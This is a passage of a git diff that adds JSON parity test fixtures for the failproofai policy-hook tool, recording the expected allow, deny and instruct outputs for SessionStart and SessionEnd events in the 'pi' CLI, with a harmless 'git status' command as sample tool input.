"SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..34d56606 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..75d35cb0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..0dada9e0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4ca063ce --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..56e6e983 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..176e485e --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..47827e3a --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..dabd9f26 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5fdf9f07 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4912599b --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..746850a2 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a48e9c7e --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..aad409c6 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..30a092f2 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3a776661 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..922bc9c3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8fde7b91 --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..1a85479a --- /dev/null +++ b/__tests__/parity/fixtures/pi/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": 